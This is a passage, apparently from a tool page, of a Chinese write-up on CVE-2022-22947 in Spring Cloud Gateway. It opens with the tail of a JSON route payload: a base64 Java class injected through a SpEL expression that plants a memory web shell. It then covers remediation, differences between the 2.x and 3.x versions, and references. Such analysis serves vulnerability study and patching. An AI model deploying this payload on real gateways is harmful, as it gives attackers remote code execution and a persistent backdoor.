gBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
  }
}],
  "uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:
![requestMappingHandlerMapping](https://assets.kitploit.com/production/public/readmes/35878/f03c95da212a61728609ae5cda2432f7beb25e8dd00d325b93a4609ec9bc1d5e.png)

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )































2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。




https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
ツールをダウンロード